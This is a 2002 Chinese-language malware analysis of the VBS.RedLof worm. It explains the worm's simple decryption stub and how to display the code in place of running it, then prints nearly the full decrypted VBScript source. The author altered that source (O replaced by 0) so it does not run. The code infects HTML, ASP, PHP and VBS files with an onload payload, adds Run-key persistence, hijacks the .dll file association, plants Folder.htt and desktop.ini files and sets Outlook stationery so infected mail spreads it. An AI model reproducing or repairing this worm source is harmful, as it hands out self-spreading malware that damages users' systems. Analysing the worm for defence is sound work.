文章作者：司徒彦南
vbs.RedLof病毒的解密与分析
原创：司徒彦南 [作者信息] 2002年8月7日
RedLof是最近比较流行的一种病毒。病毒本身倒没有使用什么特别高深的技术，不过，由于它对源代码进行了加密处理，因此破解和清除有一定难度。前一段时间应一位朋友之邀我对RedLof的源代码进行了解密，在此公开解密的全过程，以及对于RedLof的一部分代码分析，其中很多思想对于软件解密过程也具有参考意义。
由于脚本的运行速度比较慢，因此通常没有人使用脚本来进行非对称加密算法的运算(例如RSA、ECC等算法)，因为这样的话，要么运行速度会很慢，要么无法达到需要的密钥长度。
当然，直接从密文去分析加密算法不是一件容易的事情。一个安全系统所能提供的最大安全取决于它最不安全的部分。无论是什么代码加密方法，必须做到的一点就是：
密文的接收方必须能够把它恢复成明文。
这句话看起来似乎是废话，其实不然。对于软件加密而言，这一点非常重要，它意味着一切软件加密总是可以破解的，因为执行机构(无论CPU，或是某一层次的虚拟机)总要以明文方式读取程序。换言之，使用再好的加密算法，在执行之前总要有一段程序来解密，使得执行机构能够“看懂”那段程序的意义。
换言之，只要适当设置断点，就一定能够拿到明文形式的程序。对于一个不惜成本的破解者来说，没有任何软件加密方法(注意，只是说对于程序本身的加密)能够挡住他的攻击。
拿到RedLof的样本之后，我的第一感觉就是这东西有点像Windows脚本加密，但仔细观察代码，发现并没有JScript.Encode或VBScript.Encode的Script标签，相反，它的解密程序是用明文方式存放的，只是格式写得很乱(可能是防止别人读懂)。整理以后，得到下面的代码：
'-------------------------------------------------
'附：解密程序(根据病毒原来的解密部分改写)
'EXEString: 原病毒的密文代码部分。略去。
ExeString = "..."
Dim KeyArr(3), ThisText
KeyArr(0) = 5
KeyArr(1) = 8
KeyArr(2) = 8
KeyArr(3) = 6
For i=1 To Len(ExeString)
TempNum = Asc(Mid(ExeString,i,1))
If TempNum = 18 Then
TempNum = 34
End If
TempChar = Chr(TempNum + KeyArr(i Mod 4))
If TempChar = Chr(28) Then
TempChar = vbCrLf
ElseIf TempChar = Chr(29) Then
TempChar = "<br>"
End If
ThisText = ThisText & TempChar
Next
Execute ThisText
程序的执行流程不复杂，加密算法也很简单。基本上就是解密、执行(Execute是执行字符串中的脚本)。
显然，经过整理的代码仍然对计算机有害，于是我把这段代码修改为
'-------------------------------------------------
'附：解密程序(根据病毒原来的解密部分改写)
'EXEString: 原病毒的密文代码部分。略去。
ExeString = "..."
Dim KeyArr(3), ThisText
KeyArr(0) = 5
KeyArr(1) = 8
KeyArr(2) = 8
KeyArr(3) = 6
For i=1 To Len(ExeString)
TempNum = Asc(Mid(ExeString,i,1))
If TempNum = 18 Then
TempNum = 34
End If
TempChar = Chr(TempNum + KeyArr(i Mod 4))
If TempChar = Chr(28) Then
TempChar = vbCrLf
ElseIf TempChar = Chr(29) Then
TempChar = "<br>"
End If
Select Case TempChar
Case "<"
TempChar = "<"
Case ">"
TempChar = ">"
Case "&"
TempChar = "&"
End Select
ThisText = ThisText & TempChar
Next
Document.write ThisText
这样修改以后，病毒代码就不是被执行，而是被显示到屏幕上了。我最终得到的病毒代码是：(为了防止滥用，做了一些修改使其无法执行)
' delphij破解于2002年6月28日。
Dim InWhere,HtmlText,VbsText,DegreeSign,
Dim Apple0bject,FS0,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
KJSetDim()
KJCreateMilieu()
KJLikeIt()
KJCreateMail()
KJPropagate()
End Sub
Function KJAppendTo(FilePath,TypeStr)
0n Error Resume Next
Set ReadTemp = FS0.0penTextFile(FilePath,1)
TmpStr = ReadTemp.ReadAll
If Instr(TmpStr,"KJ_start()") <> 0 0r Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
If TypeStr = "htt" Then
ReadTemp.Close
Set FileTemp = FS0.0penTextFile(FilePath,2)
FileTemp.Write "<" & "B0DY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FS0.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FS0.0penTextFile(FilePath,8)
If TypeStr = "html" Then
FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "B0DY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
ElseIf TypeStr = "vbs" Then
FileTemp.Write vbCrLf & VbsText
End If
FileTemp.Close
End If
End Function
Function KJChangeSub(CurrentString,LastIndexChar)
If LastIndexChar = 0 Then
If Left(LCase(CurrentString),1) =< LCase("c") Then
KJChangeSub = FinalyDisk & ":\"
SubE = 0
Else
KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
SubE = 0
End If
Else
KJChangeSub = Mid(CurrentString,1,LastIndexChar)
End If
End Function
Function KJCreateMail()
0n Error Resume Next
If InWhere = "html" Then
Exit Function
End If
ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
If (FS0.FileExists(ShareFile)) Then
Call KJAppendTo(ShareFile,"html")
Else
Set FileTemp = FS0.0penTextFile(ShareFile,2,true)
FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "B0DY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
FileTemp.Close
End If
DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
0utLookVersion = WsShell.RegRead("HKEY_L0CAL_MACHINE\Software\Microsoft\0utlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\0utlook Express\"& Left(0utLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DW0RD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\0utlook Express\"& Left(0utLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\0utlook Express\"& Left(0utLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\0ffice\9.0\0utlook\0ptions\Mail\EditorPreference",131072,"REG_DW0RD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft 0utlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft 0utlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\0ffice\10.0\0utlook\0ptions\Mail\EditorPreference",131072,"REG_DW0RD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\0ffice\10.0\Common\MailSettings\NewStationery","blank")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function
Function KJCreateMilieu()
0n Error Resume Next
TempPath = ""
If Not(FS0.FileExists(WinPath & "WScript.exe")) Then
TempPath = "system32\"
End If
If TempPath = "system32\" Then
StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
Else
StartUpFile = WinPath & "SYSTEM\Kernel.dll"
End If
WsShell.RegWrite "HKEY_L0CAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
FS0.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FS0.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_R00T\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_R00T\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_R00T\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_R00T\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_R00T\dllfile\ScriptEngine\","VBScript"
WsShell.RegWrite "HKEY_CLASSES_R00T\dllFile\Shell\0pen\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_R00T\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_R00T\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
Set FileTemp = FS0.0penTextFile(StartUpFile,2,true)
FileTemp.Write VbsText
FileTemp.Close
End Function
Function KJLikeIt()
If InWhere <> "html" Then
Exit Function
End If
ThisLocation = document.location
If Left(ThisLocation, 4) = "file" Then
ThisLocation = Mid(ThisLocation,9)
If FS0.GetExtensionName(ThisLocation) <> "" then
ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FS0.GetFileName(ThisLocation)))
End If
If Len(ThisLocation) > 3 Then
ThisLocation = ThisLocation & "\"
End If
KJummageFolder(ThisLocation)
End If
End Function
Function KJMailReg(RegStr,FileName)
0n Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function
Function KJ0boSub(CurrentString)
SubE = 0
Test0ut = 0
Do While True
Test0ut = Test0ut + 1
If Test0ut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
0n Error Resume Next
Set ThisFolder = FS0.GetFolder(CurrentString)
Set DicSub = Create0bject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.add FolderCount, TempFolder.Name
Next
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
SubE = 1
Else
If SubE = 0 Then
CurrentString = CurrentString & DicSub.Item(1) & "\"
Exit Do
Else
j = 0
For j = 1 To FolderCount
If LCase(SubString) = LCase(DicSub.Item(j)) Then
If j < FolderCount Then
CurrentString = CurrentString & DicSub.Item(j+1) & "\"
Exit Do
End If
End If
Next
LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1)
SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)
CurrentString = KJChangeSub(CurrentString,LastIndexChar)
End If
End If
Loop
KJ0boSub = CurrentString
End Function
Function KJPropagate()
0n Error Resume Next
RegPathvalue = "HKEY_L0CAL_MACHINE\Software\Microsoft\0utlook Express\Degree"
DiskDegree = WsShell.RegRead(RegPathvalue)
If DiskDegree = "" Then
DiskDegree = FinalyDisk & ":\"
End If
For i=1 to 5
DiskDegree = KJ0boSub(DiskDegree)
KJummageFolder(DiskDegree)
Next
WsShell.RegWrite RegPathvalue,DiskDegree
End Function
Function KJummageFolder(PathName)
0n Error Resume Next
Set FolderName = FS0.GetFolder(PathName)
Set ThisFiles = FolderName.Files
HttExists = 0
For Each ThisFile In ThisFiles
FileExt = UCase(FS0.GetExtensionName(ThisFile.Path))
If FileExt = "HTM" 0r FileExt = "HTML" 0r FileExt = "ASP" 0r FileExt = "PHP" 0r FileExt = "JSP" Then
Call KJAppendTo(ThisFile.Path,"html")
ElseIf FileExt = "VBS" Then
Call KJAppendTo(ThisFile.Path,"vbs")
ElseIf FileExt = "HTT" Then
HttExists = 1
End If
Next
If (UCase(PathName) = UCase(WinPath & "Desktop\")) 0r (UCase(PathName) = UCase(WinPath & "Desktop")) Then
HttExists = 1
End If
If HttExists = 0 Then
FS0.CopyFile WinPath & "system32\desktop.ini",PathName
FS0.CopyFile WinPath & "web\Folder.htt",PathName
End If
End Function
Function KJSetDim()
0n Error Resume Next
Err.Clear
TestIt = WScript.ScriptFullname
If Err Then
InWhere = "html"
Else
InWhere = "vbs"
End If
If InWhere = "vbs" Then
Set FS0 = Create0bject("Scripting.FileSystem0bject")
Set WsShell = Create0bject("WScript.Shell")
Else
Set Apple0bject = document.applets("KJ_guest")
Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
Apple0bject.createInstance()
Set WsShell = Apple0bject.Get0bject()
Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
Apple0bject.createInstance()
Set FS0 = Apple0bject.Get0bject()
End If
Set Disk0bject = FS0.Drives
For Each DiskTemp In Disk0bject
If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
Exit For
End If
FinalyDisk = DiskTemp.DriveLetter
Next
Dim 0therArr(3)
Randomize
For i=0 To 3
0therArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - 0therArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & 0therArr(0) & """&vbCrLf&""KeyArr(1) = " & 0therArr(1) & """&vbCrLf&""KeyArr(2) = " & 0therArr(2) & """&vbCrLf&""KeyArr(3) = " & 0therArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/B0DY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"
WinPath = FS0.GetSpecialFolder(0) & "\"
If (FS0.FileExists(WinPath & "web\Folder.htt")) Then
FS0.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif"
End If
If (FS0.FileExists(WinPath & "system32\desktop.ini")) Then
FS0.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif"
End If
End Function
